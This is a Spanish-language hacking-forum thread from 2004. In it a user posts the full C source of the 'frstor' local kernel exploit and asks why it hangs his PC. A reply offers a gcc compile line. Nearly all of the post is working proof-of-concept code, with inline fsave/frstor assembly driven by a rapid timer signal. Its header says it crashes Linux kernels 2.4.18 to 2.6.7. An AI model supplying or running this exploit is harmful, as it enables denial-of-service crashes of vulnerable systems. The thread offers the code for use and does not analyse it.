elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 06:39  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  ayuda urgente exploit local kernel 2.6.X aca este el codigo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ayuda urgente exploit local kernel 2.6.X aca este el codigo  (Leído 652 veces)
netcat

Desconectado Desconectado

Mensajes: 12


Ver Perfil
ayuda urgente exploit local kernel 2.6.X aca este el codigo
« en: 3 Noviembre 2004, 13:11 »

es exploit me compila pero igual se me cuelga el pc cuando lo compilo nose si alguien q sepa lo puede chekar y decirme cual es el error quedan corriendo ************* haci pero no pasa nada nose si alguien lo puede mirar ojalas les sirva el codigo gracias chaos

/* --------------------
 * frstor Local Kernel exploit
 * Crashes any kernel from 2.4.18
 * to 2.6.7 because frstor in assembler
 * inline offsets in memory by 4.
 * Original proof of concept code
 * by stian_@_nixia.no.
 * Added some stuff by lorenzo_@_gnu.org
 * and fixed the fsave line with (*fpubuf).
 * --------------------
 */
 
 /*
 ---------
 Some debugging information made
 available by stian_@_nixia.no
 ---------
 TakeDown:
 pushl %ebp
 movl %esp, %ebp
 subl $136, %esp
 leal -120(%ebp), %eax
 movl %eax, -124(%ebp)
 #APP
 fsave -124(%ebp)
 
 #NO_APP
 subl $4, %esp
 pushl $1
 pushl $.LC0
 pushl $2
 call write
 addl $16, %esp
 leal -120(%ebp), %eax
 movl %eax, -128(%ebp)
 #APP
 frstor -128(%ebp)
 
 #NO_APP
 leave
 ret
 */
 
 #include <sys/time.h>
 #include <signal.h>
 #include <unistd.h>
 
 static void TakeDown(int ignore)
 {
 char fpubuf[108];
 // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
 __asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
 write(2, "*", 1);
 __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
 }
 
 int main(int argc, char *argv[])
 {
 struct itimerval spec;
 signal(SIGALRM, TakeDown);
 spec.it_interval.tv_sec=0;
 spec.it_interval.tv_usec=100;
 spec.it_value.tv_sec=0;
 spec.it_value.tv_usec=100;
 setitimer(ITIMER_REAL, &spec, NULL);
 while(1)
 write(1, ".", 1);
 
 return 0;
 }
 // <<EOF
En línea
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: ayuda urgente exploit local kernel 2.6.X aca este el codigo
« Respuesta #1 en: 6 Noviembre 2004, 04:12 »

No entiendo pues compilalo asi haber

gcc -vv -O4 -s -g -w archivo.c -o x

Salu2!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines